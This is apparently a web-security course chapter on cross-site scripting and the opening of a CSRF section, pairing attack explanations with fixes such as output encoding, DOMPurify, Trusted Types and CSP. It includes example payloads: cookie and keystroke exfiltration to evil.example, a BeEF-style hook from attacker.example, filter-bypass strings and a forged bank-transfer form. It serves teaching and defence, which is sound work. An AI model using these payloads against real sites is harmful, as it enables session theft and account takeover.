<a id="92-cross-site-scripting-xss"></a>
9.2 Cross-Site Scripting (XSS)
Cross-site scripting is the injection of attacker-controlled script into a page so that it runs in the victim's browser with the full authority of the vulnerable site. This section covers the three delivery mechanisms, how payloads are built and filters bypassed, what attackers do with the access, and the layered defenses that actually work.
Reflected XSS
Theory
Cross-site scripting (XSS) is, at root, a confusion between data and code inside the browser: the application takes input that should be inert text and the browser ends up treating it as executable script. When this happens, the attacker's JavaScript runs in the victim's browser inside the victim's session on the vulnerable origin — it can read the DOM, make authenticated requests, and act as the user. XSS is consistently among the most common and impactful web vulnerabilities precisely because it hijacks the trust the user and the site have in each other.
Reflected XSS is the simplest variant. The malicious input is included in a request — typically in a URL query parameter — and the server reflects it straight back into the immediate response without proper encoding. Because the payload lives in the request, it is not stored anywhere; the attack requires delivering a crafted link to the victim (via email, chat, a malicious ad) and getting them to click it. When they do, the server echoes the attacker's script into the page and the browser runs it. The classic example is a search page that prints "You searched for: <your query>" directly into the HTML.
The analogy is a mailroom that prints the sender's note onto the company letterhead without reading it: if the note says "and here is an official instruction," recipients may obey because it now carries the company's authority. Reflected XSS requires user interaction and is "one victim per link," which makes it slightly less severe than stored XSS, but it is still critical because it runs with the site's full origin privileges.
Examples
Vulnerable flow:
Victim clicks: https://shop.example/search?q=<script>steal()</script>
Server responds (unencoded reflection):
<p>No results for <script>steal()</script></p>
Browser parses the <script> as code and runs steal() in shop.example's origin.
# VULNERABLE: the user's query is concatenated straight into HTML.
from flask import Flask, request
app = Flask(__name__)
@app.route('/search')
def search():
q = request.args.get('q', '')
return f"<p>No results for {q}</p>" # reflected unencoded -> XSS
# FIXED: contextually escape before inserting into HTML.
from markupsafe import escape
@app.route('/search-safe')
def search_safe():
q = request.args.get('q', '')
return f"<p>No results for {escape(q)}</p>" # <script> becomes <script>
Key Takeaways
- XSS is a data-as-code confusion: attacker input ends up executing as script in the victim's browser on the vulnerable origin.
- Reflected XSS echoes request input straight into the immediate response, so it needs a crafted link and a victim click.
- It is not stored, making it one-victim-per-link, but it still runs with the site's full origin authority.
- The fix is contextual output encoding so reflected input renders as inert text, never markup.
🧪 Practice
- Identify the vulnerable line in a search handler that prints
qinto HTML and rewrite it to be safe.- Craft a proof-of-concept URL (using a harmless
alert) for a reflected-XSS search parameter.- Explain why reflected XSS requires social engineering while stored XSS does not.
- Interview-style: "Why is reflected XSS still rated critical even though it needs a victim to click a link?" Hint: consider whose origin and session the injected script runs in once the click happens.
Stored (Persistent) XSS
Theory
Stored XSS (also called persistent XSS) is the more dangerous sibling of reflected XSS. Here the malicious script is saved on the server — in a database, a comment, a profile field, a product review, a support ticket — and then served to every user who views that content. The attacker does not need to deliver a link or trick a specific victim; they inject once, and the payload fires automatically in the browser of everyone who loads the affected page. This makes stored XSS self-propagating in effect and capable of mass compromise, including the infamous social-network "XSS worms."
The elevated severity comes from two factors. First, no interaction is needed from the victim beyond normally using the site, so the attack reaches engaged, authenticated users. Second, the payload often lands in high-trust contexts — an admin reviewing user submissions, a moderator reading reports — so stored XSS frequently leads directly to privileged-account takeover. A payload placed in a field that only administrators see is a targeted path to the crown jewels.
The root cause is identical to reflected XSS — untrusted data rendered as markup — but the data makes a round trip through storage before being displayed, often to a different user than the one who submitted it. This is why encoding must happen reliably at output time, in the context where the data is used, not merely at input time: the same stored value might be rendered into HTML on one page, into a JavaScript string on another, and into an attribute on a third, each requiring different escaping.
Examples
Stored XSS lifecycle:
(1) Attacker posts a comment: Nice post!<script>fetch('//evil/c?'+document.cookie)</script>
(2) Server saves it to the DB verbatim.
(3) Every visitor's browser loads the comment page...
(4) ...and runs the attacker's script in THEIR session. No link, no click.
// VULNERABLE: rendering a stored comment with innerHTML parses it as markup.
function render(comment) {
document.getElementById('comments').innerHTML += comment.body; // executes <script>
}
// FIXED: use textContent (or a sanitizer for rich text) so markup stays inert.
function renderSafe(comment) {
const li = document.createElement('li');
li.textContent = comment.body; // <script> shown as literal text
document.getElementById('comments').appendChild(li);
}
Key Takeaways
- Stored XSS persists the payload server-side and serves it to every viewer, needing no per-victim delivery.
- It can achieve mass compromise and self-propagating worms, and often targets high-privilege viewers like admins.
- The same stored value can be rendered into different contexts, so encoding must occur at output time per context.
- Prefer
textContent/safe templating for untrusted data; use a vetted sanitizer only when rich HTML is genuinely required.
🧪 Practice
- Describe the full lifecycle of a stored-XSS payload from submission to execution in another user's browser.
- Explain why fixing XSS at input-validation time alone is insufficient and output encoding is essential.
- Rewrite an
innerHTML-based comment renderer to be safe for plain-text comments.- Interview-style: "Why is stored XSS generally rated more severe than reflected XSS?" Hint: compare how many victims each reaches and whether any social engineering is required.
DOM-Based XSS and Sinks
Theory
In reflected and stored XSS, the server places untrusted data into the HTML. In DOM-based XSS, the vulnerability is entirely client-side: the server's HTML is fine, but the page's own JavaScript reads attacker-controlled input from a source and writes it into a dangerous sink that interprets it as code or markup. The exploited string may never even reach the server — for instance, everything after # in a URL (the fragment) is not sent to the server, yet client script often reads it. This makes DOM XSS invisible to server-side filters and WAFs, which is why it is frequently missed.
The mental model is sources and sinks. A source is any input the attacker can influence: location.hash, location.search, document.referrer, window.name, postMessage data, or values read back from storage. A sink is an API that turns a string into live DOM or code: element.innerHTML, document.write, eval, setTimeout(string), element.setAttribute('onclick', ...), assigning to location/src with a javascript: URL. A DOM-XSS bug exists whenever data flows from a source to a sink without sanitization. Finding them is a data-flow exercise, tracing tainted values through the JavaScript.
Because modern apps are heavily client-rendered (SPAs, frameworks), DOM XSS has grown in importance. The defense is the same principle applied client-side: never pass untrusted data to a dangerous sink. Use safe sinks (textContent, setAttribute for non-URL attributes), parse rather than interpret, apply a client-side sanitizer for HTML, and ideally enforce Trusted Types (covered later) so the browser refuses raw strings at dangerous sinks altogether.
Examples
// VULNERABLE DOM XSS: source (location.hash) flows to a sink (innerHTML).
// URL: https://app.example/page#<img src=x onerror=alert(document.cookie)>
const section = location.hash.slice(1); // SOURCE: attacker controls the fragment
document.getElementById('out').innerHTML = section; // SINK: parses & runs the payload
// The fragment is never sent to the server, so server-side filtering can't see it.
// FIXED: write to a safe sink; the string is treated as inert text.
document.getElementById('out').textContent = decodeURIComponent(section);
| Common sources | Common sinks |
|---|---|
location.hash / .search | innerHTML / outerHTML |
document.referrer | document.write() |
window.name | eval() / Function() |
postMessage event data | setTimeout/setInterval (string arg) |
values read from localStorage | location / src = javascript: URL |
Key Takeaways
- DOM-based XSS is purely client-side: page JavaScript moves attacker input from a source into a dangerous sink.
- Fragment-based payloads (
location.hash) never reach the server, so server-side filters and WAFs miss them. - Finding DOM XSS is a data-flow task: trace tainted sources to code-executing sinks.
- Defend by using safe sinks (
textContent), client-side sanitizers for HTML, and Trusted Types to block raw strings at sinks.
🧪 Practice
- Identify the source and the sink in a snippet that assigns
location.hashtoinnerHTML, and rewrite it safely.- List three sources and three sinks and explain why each sink is dangerous.
- Explain why a server-side WAF cannot detect a fragment-based DOM-XSS payload.
- Interview-style: "An app has no server-side reflection yet is vulnerable to XSS. How?" Hint: think about input the client reads directly and writes into the DOM without the server ever seeing it.
Mutation XSS and Parser Differentials
Theory
Sanitizers try to clean untrusted HTML by parsing it, removing dangerous elements and attributes, and emitting "safe" markup. Mutation XSS (mXSS) exploits the gap between how the sanitizer parsed the string and how the browser re-parses the sanitized output once it is placed in the DOM. If the browser mutates the markup during insertion — fixing up malformed tags, re-interpreting content inside certain elements — a string that looked safe to the sanitizer can "mutate" back into something executable. The sanitizer and the live DOM disagree about what the bytes mean, and the attacker lives in that disagreement.
This is one case of a broader class: parser differentials, where two parsers that are supposed to agree actually handle edge cases differently. Browsers have famously lenient, quirk-laden HTML parsers with special "foreign content" rules for <svg>, <math>, template elements, and encoding edge cases. A sanitizer written against one mental model of parsing, or a slightly different parser, can be tricked by inputs that round-trip differently through innerHTML. Historic mXSS payloads used things like nested <svg>/<style> contexts or <noscript> to make the browser re-interpret attributes as tags.
The practical lessons are twofold. First, do not write your own HTML sanitizer — use a well-maintained library (like DOMPurify) that is specifically hardened against known mutation vectors and updated as new ones are found. Second, prefer designs that avoid the problem entirely: render untrusted data as text, use templating that escapes by default, and layer CSP and Trusted Types so that even a sanitizer bypass has a reduced blast radius. mXSS is a reminder that "I sanitized it" is not the same as "the browser will treat it as safe."
Examples
Mutation idea (conceptual): sanitizer sees inert markup, the DOM re-parses it as active.
Input given to sanitizer: <svg><style><img src=x onerror=alert(1)></style></svg>
Sanitizer: "that's just text inside <style>, harmless" -> passes it through
Browser, on insertion, re-parses the context and the encoded chars become a live
<img ... onerror=...> that executes. Same bytes, two different parse results.
// Defense: use a maintained, mutation-aware sanitizer rather than hand-rolling one.
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(untrustedHtml); // hardened against known mXSS vectors
document.getElementById('bio').innerHTML = clean; // safer, but still layer CSP/TT
Key Takeaways
- Mutation XSS exploits the difference between how a sanitizer parses markup and how the browser re-parses it on insertion.
- It is a form of parser differential, abusing lenient/quirky HTML parsing (SVG/MathML/foreign content, encoding edge cases).
- Never hand-roll an HTML sanitizer; use a maintained, mutation-aware library and keep it updated.
- Reduce blast radius with text rendering, escape-by-default templating, CSP, and Trusted Types rather than trusting sanitization alone.
🧪 Practice
- In your own words, explain what "the sanitizer and the browser disagree" means in the context of mXSS.
- Explain why foreign-content elements like
<svg>and<math>are frequent sources of parser differentials.- Argue why "we wrote a regex-based HTML sanitizer" is a red flag in a code review.
- Interview-style: "If you sanitize HTML with a trusted library, why still deploy CSP?" Hint: defense in depth — what happens on the day a new sanitizer bypass is published?
Payload Construction and Context Escaping
Theory
Delivering XSS is rarely as simple as dropping in <script>alert(1)</script>; the payload must be valid for the exact context where the input lands. The same injected string behaves completely differently depending on whether it appears in HTML text, inside an HTML attribute, within a <script> block, in a URL attribute like href, or inside a CSS value. Writing a working payload is the art of breaking out of the current context and into an executable one, using the delimiters that context respects.
Consider the main contexts. In HTML text context, you can introduce a new tag directly (<img src=x onerror=...>). In an attribute value context, you must first close the attribute's quote and the tag: if your input lands in value="HERE", a payload like "><img src=x onerror=alert(1)> escapes the quote, closes the input tag, and starts a new one. In a JavaScript string context (your input is inside var x = 'HERE'), you break out with a quote and a statement terminator: ';alert(1);//. In a URL context (href="HERE"), a javascript:alert(1) URL may execute on click. Each context has its own escape sequence, which is why reconnaissance — figuring out exactly where and how input is reflected — precedes payload writing.
This is also why the defense must be contextual (next topics): HTML-encoding stops payloads in HTML contexts but does nothing for a javascript: URL or a value already inside a script block. The attacker thinks in terms of "what delimiter ends this context," and the defender must encode precisely the characters that are special in that context. Understanding context escaping from the attacker's side is what makes the defensive principle of contextual output encoding click.
Examples
Same input location, different escapes required:
Context: HTML text <div>INPUT</div>
payload: <img src=x onerror=alert(1)>
Context: attribute value <input value="INPUT">
payload: "><svg onload=alert(1)> # close quote + tag, open new element
Context: JS string <script>let s='INPUT';</script>
payload: ';alert(1);// # close string, run code, comment out rest
Context: URL attribute <a href="INPUT">x</a>
payload: javascript:alert(1) # executes when the link is activated
// Demonstration of why context matters: HTML-encoding does NOT neutralize a JS-string break.
// If the server HTML-encodes quotes but input is inside a <script> string, ' is decoded
// differently and the break can still succeed depending on handling — always encode for the
// ACTUAL context (JS string escaping here, not HTML entity escaping).
Key Takeaways
- A working XSS payload must escape the specific context (HTML text, attribute, JS string, URL, CSS) where input appears.
- Attackers break out using that context's delimiters:
>and new tags in HTML,"/'to close attributes or strings,javascript:in URLs. - The right payload depends entirely on where and how the input is reflected, so recon precedes exploitation.
- Because escaping is context-specific, defenses must encode for the exact output context, not apply one generic filter.
🧪 Practice
- Given input reflected inside
value="...", write the payload that breaks out and executes script.- Write the break-out payload for input placed inside a single-quoted JavaScript string.
- Explain why a
javascript:URL is dangerous in anhrefand which encoding (not HTML entity encoding) neutralizes it.- Interview-style: "Why can the same user input be safe in one place on a page and exploitable in another?" Hint: the surrounding syntactic context determines which characters are special and what counts as 'breaking out.'
Filter and Sanitizer Bypass Techniques
Theory
Many applications try to stop XSS with blocklist filters — stripping the word script, removing on* event attributes, or deleting angle brackets. Blocklists are a losing strategy because the space of ways to introduce script is enormous and the HTML/JS parsers are permissive. Understanding common bypasses is important for both attackers (to test defenses) and defenders (to understand why blocklists fail and allowlists/encoding win).
Typical bypass families: case and whitespace variation (<ScRiPt>, <img/src=x/onerror=...>), alternative tags and events that a filter forgot (<svg onload>, <body onpageshow>, <details ontoggle>), encoding tricks (HTML entities, URL encoding, overlong/odd encodings that the browser decodes but the filter didn't), broken markup the browser repairs (a missing quote or bracket that the lenient parser fixes into a working tag), and no-letters/obfuscated JavaScript that reconstructs code from allowed characters. If a filter naively removes the literal string script, an attacker may write <scrscriptipt> so that removing the inner script leaves a working <script> — a classic "replace-once" flaw.
The takeaway is not a bag of tricks to memorize but a principle: you cannot enumerate all bad input, so stop trying to. The correct defenses invert the problem — contextual output encoding (treat everything as data), allowlist sanitization via a hardened library (keep only known-safe elements/attributes), and structural controls (CSP, Trusted Types). Filters may still have a role for UX or as a thin extra layer, but they must never be the primary defense, and "we filtered out <script>" should be treated as not fixed.
Examples
Why blocklists fail — a few representative bypass shapes:
Case: <ScRiPt>alert(1)</ScRiPt>
Alt event: <svg onload=alert(1)>
Alt tag: <details open ontoggle=alert(1)>
Replace-once: <scr<script>ipt> -> filter removes inner "script" -> <script>
Encoding: <img src=x onerror=alert(1)> (entity-encoded 'a')
Malformed: <img src=x onerror=alert(1)// (browser repairs it)
// Anti-pattern: a replace-once blocklist that an attacker trivially defeats.
function badSanitize(s) {
return s.replace(/<script>/gi, ''); // removing once leaves "<scr<script>ipt>" -> "<script>"
}
// Correct approach: encode on output, or use an allowlist sanitizer (DOMPurify).
Key Takeaways
- Blocklist filters fail because the ways to introduce script (case, alt tags/events, encodings, malformed markup) are effectively unbounded.
- "Replace-once" and single-pass removals are especially fragile and are easily bypassed by nesting.
- The browser's lenient parser repairs broken markup, turning filter-mangled input back into working payloads.
- Replace blocklists with contextual encoding, allowlist-based hardened sanitizers, and structural controls like CSP/Trusted Types.
🧪 Practice
- Show how a filter that removes the literal
<script>once can be bypassed, and explain the mechanism.- Give three payloads that avoid the word
scriptentirely yet execute JavaScript.- Explain why allowlisting safe elements is more robust than blocklisting dangerous ones.
- Interview-style: "A developer says they 'strip all
<script>tags,' so XSS is impossible. Convince them otherwise." Hint: event-handler attributes and non-script tags execute JavaScript with no<script>in sight.
Session Theft and Keylogging via XSS
Theory
XSS is dangerous because of what the attacker's script can do once it runs with the victim's origin privileges. The classic impact is session theft: if the session cookie lacks HttpOnly, the payload reads document.cookie and sends it to an attacker server, who then replays it to impersonate the victim. But cookie theft is only the most obvious capability; modern XSS impact is far broader and does not depend on reading cookies at all.
Because the script runs as the user on the site, it can simply act as the user directly: make authenticated fetch/XHR requests to any same-origin endpoint, change the account email, add an API key, transfer funds, or escalate privileges — all riding on the browser's ambient credentials. This is why HttpOnly alone does not neutralize XSS: even if the token is unreadable, the script can still perform actions with it. XSS can also plant a keylogger by adding event listeners that capture every keystroke (including passwords typed on the page), scrape the DOM for displayed PII, read autofilled form values, capture clipboard contents, or phish by injecting a fake login prompt into the trusted page.
A further escalation is persistence and propagation: a stored-XSS payload can rewrite the page, hook navigation, and re-inject itself, and on social platforms spread to other users as a worm. The security conclusion is that XSS should be treated as arbitrary action as the victim on the vulnerable origin, which is close to full account takeover. This framing — not just "they can steal a cookie" — is what justifies the high severity and the layered defenses in the following topics.
Examples
// 1) Cookie theft (works only if the session cookie lacks HttpOnly):
new Image().src = 'https://evil.example/c?' + encodeURIComponent(document.cookie);
// 2) Act as the user — no cookie reading needed; the browser attaches credentials:
fetch('/account/email', {
method: 'POST',
credentials: 'include', // ambient session cookie rides along
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ email: 'attacker@evil.example' }) // hijack the account
});
// 3) Keylogger: capture every keystroke on the page and exfiltrate it.
document.addEventListener('keydown', e =>
navigator.sendBeacon('https://evil.example/k', e.key));
Key Takeaways
- XSS runs with the victim's origin privileges, so impact is far broader than cookie theft.
- With
HttpOnlyset, the token can't be read, but the script can still perform authenticated actions as the user. - Payloads can keylog, scrape DOM/PII, read autofill/clipboard, phish within the trusted page, and (when stored) self-propagate.
- Treat any XSS as potential account takeover, which is why layered defenses are required rather than cookie flags alone.
🧪 Practice
- Write a one-line payload that exfiltrates a non-
HttpOnlycookie, and explain theHttpOnlymitigation.- Explain how an attacker can change the victim's account email via XSS even when the cookie is
HttpOnly.- Describe how an XSS keylogger is implemented using DOM event listeners.
- Interview-style: "Does setting
HttpOnlymake XSS low severity? Why or why not?" Hint: separate stopping cookie reading from stopping actions performed with the ambient session.
Browser Exploitation Frameworks
Theory
Once an attacker has XSS on a page, they have a foothold in the victim's browser — and tooling exists to industrialize what comes next. Browser exploitation frameworks, the best-known being BeEF (Browser Exploitation Framework), turn an XSS "hook" into a managed command-and-control channel over the browser. The attacker's XSS payload loads a small hook script that repeatedly polls the attacker's server for commands; each hooked browser becomes a controllable node, and the operator drives it from a console.
Conceptually, the hook gives the attacker a remote-control handle on the victim's browsing session for as long as the page stays open. From there, framework "modules" automate common post-XSS actions: fingerprinting the browser and plugins, stealing cookies and stored data, taking screenshots of the page, launching phishing overlays (a fake login box on the real site), pivoting with social-engineering prompts (fake "update your plugin" dialogs), scanning the victim's internal network via their browser, and chaining to actual browser or network exploits. The value to an attacker is orchestration: managing many hooked browsers and launching tested modules rather than hand-writing each payload.
For a defender or student, the point is to internalize the scope of post-exploitation: XSS is not an endpoint but a beachhead that mature tooling can expand into reconnaissance of the internal network, persistent control of the session, and credential phishing on a trusted origin. This reinforces that preventing XSS in the first place (and constraining it with CSP) is far more valuable than hoping its impact stays small. Using such frameworks is legitimate only in authorized testing (pentests, labs, CTFs) with explicit permission.
Examples
XSS-to-C2 with a hook framework (conceptual):
XSS payload: <script src="https://attacker.example/hook.js"></script>
│
▼
hook.js polls attacker console every few seconds ──▶ [ Operator Console ]
│ - fingerprint browser
▼ - screenshot page
victim browser executes pushed "modules": - phishing overlay
cookie grab · keylog · fake login · intranet scan - internal network scan
Ethical/legal note:
Hooking a browser you do not own and are not authorized to test is illegal.
Use BeEF-style tooling only in labs, CTFs, or engagements with written scope.
Key Takeaways
- Browser exploitation frameworks (e.g., BeEF) convert an XSS foothold into a managed command-and-control channel via a polling hook script.
- Each hooked browser becomes a remote-controllable node offering fingerprinting, data theft, phishing overlays, and internal network scanning.
- They demonstrate that XSS is a beachhead for extensive post-exploitation, not a minor bug.
- Such tooling is for authorized testing only; prevention and CSP matter more than hoping impact stays limited.
🧪 Practice
- Explain, at a high level, how an XSS hook script maintains an ongoing control channel to the attacker.
- List four post-exploitation actions a browser framework can automate after a successful hook.
- Describe how a strict CSP would interfere with loading an external hook script.
- Interview-style: "Why is 'it's just an alert box' a poor way to dismiss an XSS finding?" Hint: an alert merely proves code execution; think about what frameworks do with that same execution.
Contextual Output Encoding as Defence
Theory
The single most reliable defense against XSS is contextual output encoding (also called output escaping): at the moment untrusted data is written into a page, transform it so the browser treats it as inert data rather than code, using the encoding appropriate to the exact context. This directly attacks the root cause — the data/code confusion — by ensuring the characters that would let data "break out" of its context are rendered harmless. Done correctly and consistently, it prevents XSS regardless of what the input contains.
The word "contextual" is the crux. There is no single universal escape; each output context has its own special characters and its own encoding. In HTML text/element context, encode < > & " ' to HTML entities (< etc.). In an HTML attribute context, encode so the value cannot close its quote. In a JavaScript context, use JavaScript string escaping (and prefer putting data in textContent or a data- attribute over inlining it into script). In a URL context, URL-encode and validate the scheme to block javascript:. In a CSS context, use CSS escaping. Applying HTML encoding to data that lands in a JavaScript or URL context does not protect it — using the wrong encoder is a common cause of "but we escaped it" bugs.
In practice you should lean on frameworks that escape by default: modern template engines (React's JSX, Angular, Jinja2 with autoescape, Go's html/template) automatically apply context-aware encoding, so the secure path is the default path and developers only get into trouble when they bypass it (e.g., dangerouslySetInnerHTML, |safe, v-html). The guidance: emit untrusted data only through these escaping mechanisms, pick the encoder that matches the real output context, and treat any raw-HTML insertion API as a reviewed exception, not a convenience.
Examples
One value, four contexts, four correct encodings:
HTML text <div>DATA</div> -> HTML entity encode (< > & ...)
HTML attribute <input value="DATA"> -> attribute encode (quote-safe)
JS string <script>let x="DATA";</script> -> JS string escape (\x22, \n, ...)
URL in href <a href="DATA"> -> URL-encode + scheme allowlist (no javascript:)
# Jinja2 autoescaping chooses HTML encoding for this context automatically:
# template: <p>Hello {{ name }}</p>
# name = "<script>alert(1)</script>" -> renders <script>alert(1)</script>
# Go's html/template is context-aware and escapes per position automatically:
# t := template.Must(template.New("x").Parse(`<a href="{{.}}">link</a>`))
# t.Execute(w, userInput) // encodes correctly for the URL-attribute context
Key Takeaways
- Contextual output encoding neutralizes XSS at its root by rendering untrusted data as inert text in its specific context.
- There is no universal escape: HTML, attribute, JavaScript, URL, and CSS contexts each need their own encoder.
- Using the wrong encoder (e.g., HTML-encoding data that lands in a script or URL) leaves the bug exploitable.
- Prefer frameworks/templates that escape by default and treat raw-HTML insertion APIs as reviewed exceptions.
🧪 Practice
- For a value placed inside
href="...", state the correct encoding and the extra check needed beyond encoding.- Explain why HTML entity encoding does not protect data inserted into a
<script>block.- Name three template engines that autoescape and the specific feature that disables that protection in each.
- Interview-style: "What does 'contextual' add to 'output encoding,' and why does it matter?" Hint: the same character is dangerous in some contexts and harmless in others, so the encoder must match the destination.
Sanitization Libraries and Trusted Types
Theory
Output encoding works when untrusted data should be displayed as text. But some features require rendering user-supplied HTML — a rich-text comment, a WYSIWYG editor, a Markdown preview. You cannot encode this (that would show the tags as text) and you cannot trust it (it may contain script), so you must sanitize: parse the HTML and keep only an allowlist of safe elements and attributes, dropping scripts, event handlers, and dangerous URLs. The essential rule is to use a well-maintained, actively hardened sanitizer — DOMPurify is the de facto standard — rather than writing your own, because handling the browser's parser quirks and mutation vectors correctly is extremely hard (see mXSS).
Even a perfect sanitizer leaves a gap: developers still have to remember to call it at every dangerous sink, and a single missed element.innerHTML = userData reintroduces XSS. Trusted Types closes this gap at the browser level. When enabled via CSP (Content-Security-Policy: require-trusted-types-for 'script'), the browser refuses to accept a plain string at dangerous DOM sinks like innerHTML and script.src; the value must be a special TrustedHTML/TrustedScript object produced by a named, audited policy. This flips the default from "unsafe unless you remember to sanitize" to "impossible unless you route through an approved policy," so the only place untrusted data can reach a sink is code you have explicitly reviewed.
Together these form the modern client-side XSS defense stack for rich content: a hardened sanitizer does the actual cleaning, and Trusted Types enforces that all data flowing to dangerous sinks passes through a controlled, auditable chokepoint. Trusted Types also dramatically shrinks the search space for DOM-XSS review — instead of auditing every sink in a large codebase, you audit the handful of policies. Browser support is good in Chromium-based browsers and is applied as defense in depth alongside CSP.
Examples
// Sanitize before inserting user-supplied rich HTML (rich text, Markdown preview):
import DOMPurify from 'dompurify';
const safe = DOMPurify.sanitize(userHtml, { ALLOWED_TAGS: ['b','i','a','p','ul','li'] });
el.innerHTML = safe; // only allowlisted, cleaned markup survives
// Trusted Types: the browser blocks raw strings at sinks; data MUST pass a named policy.
// CSP header: Content-Security-Policy: require-trusted-types-for 'script'
const policy = trustedTypes.createPolicy('sanitize-html', {
createHTML: (input) => DOMPurify.sanitize(input) // the one audited chokepoint
});
el.innerHTML = policy.createHTML(userHtml); // OK: a TrustedHTML object
// el.innerHTML = userHtml; // THROWS: plain string rejected by the browser
Key Takeaways
- When you must render user HTML, sanitize with a maintained allowlist-based library (DOMPurify); never hand-roll one.
- Sanitization still relies on developers remembering to call it at every sink — one miss reintroduces XSS.
- Trusted Types makes the browser reject plain strings at dangerous sinks, forcing data through audited policies.
- Together they turn DOM-XSS review from auditing every sink into auditing a few policies, as defense in depth with CSP.
🧪 Practice
- Use DOMPurify to allow only a small set of formatting tags for a comment field and explain what gets stripped.
- Write the CSP directive that enables Trusted Types and describe what the browser then forbids.
- Explain how Trusted Types reduces the effort of auditing a large codebase for DOM XSS.
- Interview-style: "Why is 'we call DOMPurify' not quite enough on its own?" Hint: think about the one sink a developer forgets to route through it, and what enforces coverage.
CSP as XSS Mitigation and Its Bypasses
Theory
Content Security Policy is the primary mitigation layer for XSS: even when an injection succeeds, a well-built CSP can stop the injected script from executing or from exfiltrating data, downgrading a critical bug to a near-miss. CSP is explicitly a second line of defense — it does not fix the injection, it contains it — and the modern consensus is that a strong CSP meaningfully reduces XSS impact across a large application where guaranteeing perfect encoding everywhere is unrealistic.
The effective pattern, as covered in 9.1, is a nonce-based, 'strict-dynamic' policy: inline scripts run only if they carry a per-response random nonce the attacker cannot predict, and trusted scripts may load their own dependencies while arbitrary injected <script src> and inline handlers are blocked. This is far stronger than host-allowlist CSPs, which were the earlier style and proved weak in practice. Pairing CSP with Trusted Types (require-trusted-types-for 'script') extends containment to DOM-based XSS by blocking raw strings at sinks.
But CSP is a mitigation, not a guarantee, and it has well-known bypasses you must design against. An allowlisted host that serves a JSONP endpoint or an unsafe library lets an attacker load executable code "from an allowed source." Script gadgets — legitimate code already on the page that transforms data attributes or DOM content into script — can be triggered by injected markup even under CSP. 'unsafe-eval' reopens eval-based execution. Base-tag injection, dangling-markup data exfiltration, and overly broad connect-src can leak data despite script restrictions. The lessons: build a nonce/strict-dynamic policy rather than host allowlists, set object-src 'none' and base-uri 'none', keep the allowlist tiny and JSONP-free, and never treat CSP as a substitute for fixing the underlying XSS.
Examples
# Strong XSS-mitigating CSP: nonce + strict-dynamic, lockdowns, and Trusted Types.
Content-Security-Policy:
script-src 'nonce-7Kc9x2' 'strict-dynamic';
object-src 'none';
base-uri 'none'; # blocks <base> injection tricks
require-trusted-types-for 'script'; # contains DOM XSS too
default-src 'self';
Common CSP bypasses to design against:
JSONP on an allowlisted host: <script src="https://allowed.cdn/jsonp?cb=alert"></script>
Script gadget: injected <div data-x="...payload..."> consumed by a trusted lib
'unsafe-eval' present: attacker uses eval()/Function() to run strings
base-uri not locked: <base href> redirects relative script URLs to attacker host
Key Takeaways
- CSP is a containment layer that can neutralize a successful XSS, but it never replaces fixing the injection.
- Prefer nonce-based
'strict-dynamic'policies over host allowlists, and add Trusted Types to contain DOM XSS. - Bypasses include JSONP/unsafe libraries on allowlisted hosts, script gadgets,
'unsafe-eval', and base-tag injection. - Harden with
object-src 'none',base-uri 'none', a minimal allowlist, and no'unsafe-inline'/'unsafe-eval'.
🧪 Practice
- Write a nonce-based CSP that would block an injected inline
onerrorhandler and an injected external script.- Explain how a JSONP endpoint on an allowlisted CDN defeats a host-allowlist CSP.
- Define a "script gadget" and why it can execute even under a reasonable CSP.
- Interview-style: "Is deploying CSP a valid fix for an XSS vulnerability?" Hint: distinguish reducing impact from removing the flaw, and consider what a bypass would mean if the injection remains.
<a id="93-cross-site-request-forgery-csrf"></a>
9.3 Cross-Site Request Forgery (CSRF)
Cross-site request forgery tricks a victim's browser into sending an authenticated request to a site where they are logged in, so the site performs an action the victim never intended. This section explains the ambient-authority root cause, the attack variants, and the token, cookie, and header defenses that stop it.
Ambient Authority and the Root Cause
Theory
Cross-site request forgery (CSRF) exploits a design feature of the web: the browser automatically attaches a site's credentials — chiefly cookies — to every request to that site, no matter which page initiated the request. This automatic, implicit authority is called ambient authority. Because the authority rides along by default, a request forged by evil.example to bank.example arrives at the bank already authenticated as the logged-in victim, and the bank cannot tell from the cookie alone whether the user meant to send it.
The analogy is a signet ring that stamps every letter you send with your royal seal, automatically, whether you wrote the letter or someone slipped it into your outbox. The seal (your session cookie) proves the letter came from your account, but it proves nothing about your intent. CSRF is the attacker slipping a letter — "transfer $1000 to me" — into your outbox, knowing your ring will seal it. Recall from the same-origin policy that the attacker cannot read the response; they don't need to. The damage is done by the request being sent and accepted.
This root cause explains every CSRF defense: since the cookie proves identity but not intent, the server must demand an additional proof of intent that a cross-site attacker cannot supply — a secret token tied to the session, a cookie that refuses to travel cross-site (SameSite), or verification that the request genuinely originated from the site's own pages (Origin/Referer). CSRF matters because it needs no XSS, no malware, and no reading of responses; a victim merely visiting a malicious page (or loading a malicious image/ad) while logged in elsewhere is enough to trigger state-changing actions.
Examples
<!-- On evil.example: this auto-submits to bank.example using the victim's cookies. -->
<form id="f" action="https://bank.example/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="1000">
</form>
<script>document.getElementById('f').submit();</script>
<!-- The browser attaches bank.example's session cookie AUTOMATICALLY (ambient authority).
The attacker never sees the response (SOP), but the transfer already happened. -->
Why the cookie is not enough:
cookie answers: "Is this the logged-in user's browser?" -> YES
cookie does NOT answer: "Did the user intend this request?" -> UNKNOWN
CSRF lives entirely in that second, unanswered question.
Key Takeaways
- CSRF abuses ambient authority: browsers auto-attach cookies to requests regardless of which site initiated them.
- The cookie proves the request came from the user's browser, but not that the user intended it.
- The attacker never needs to read the response — the request being sent and accepted is the whole attack.
- Every defense adds a proof of intent (token,
SameSite, Origin/Referer) that a cross-site attacker cannot forge.
🧪 Practice
- Explain "ambient authority" in one sentence and why it makes CSRF possible.
- Write a minimal auto-submitting HTML form that would forge a POST to a money-transfer endpoint.
- State precisely what the session cookie does and does not prove about a request.
- Interview-style: "If the same-origin policy blocks reading cross-origin responses, how is CSRF harmful?" Hint: separate the act of sending an authenticated request from the act of reading its result.
GET vs. POST-Based CSRF
Theory
The shape of a CSRF attack depends on the HTTP method the vulnerable action uses, and this is where a server-side design mistake — state changes behind GET — becomes devastating. A GET-based CSRF is the easiest to deliver because a GET can be triggered by simply loading a URL: an <img> tag, a background fetch, a prefetch, or even a link the victim's browser follows. If https://bank.example/transfer?to=attacker&amount=1000 performs the transfer, then embedding it as an image source on any page the victim visits fires the attack silently, with no form and no interaction.
